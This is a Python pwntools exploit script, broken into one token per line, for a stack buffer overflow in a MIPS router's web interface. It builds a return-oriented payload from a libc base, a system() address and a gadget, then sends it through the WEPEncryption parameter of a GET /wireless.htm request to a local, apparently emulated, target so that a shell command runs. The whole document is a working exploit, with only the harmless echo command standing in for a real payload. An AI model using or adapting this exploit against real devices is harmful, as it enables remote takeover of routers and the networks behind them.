import
socket
from
pwn
import
*
context.log_level
=
'debug'
context.arch
=
"mips"
Libc_Addr
=
0x77eda000
system_Addr
=
0x0045080
cmd
=
"echo${IFS}'Pwn!'"
gadget
=
0x004A608
payload
=
cyclic(
16
).upper()
payload
+
=
p32(Libc_Addr
+
system_Addr)
payload
+
=
'BBBB'
payload
+
=
p32(
0x7fffe2a8
)
payload
+
=
'DDDD'
payload
+
=
'EEEE'
payload
+
=
'FFFF'
payload
+
=
p32(Libc_Addr
+
gadget)
payload
+
=
'HHHH'
payload
+
=
cmd
if
__name__
=
=
'__main__'
:
RHOST
=
'127.0.0.1'
RPORT
=
40080
request
=
""
request
+
=
"GET /wireless.htm?WEPEncryption={} HTTP/1.1\r\n"
.
format
(payload)
request
+
=
"Host: {}:{}\r\n"
.
format
(RHOST,
str
(RPORT))
request
+
=
"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0"
request
+
=
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
request
+
=
"Accept-Language: en-US,en;q=0.5"
request
+
=
"Accept-Encoding: gzip, deflate"
request
+
=
"Connection: close"
request
+
=
"Upgrade-Insecure-Requests: 1"
request
+
=
"\r\n\r\n"
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send(request)
print
(request)
s.close()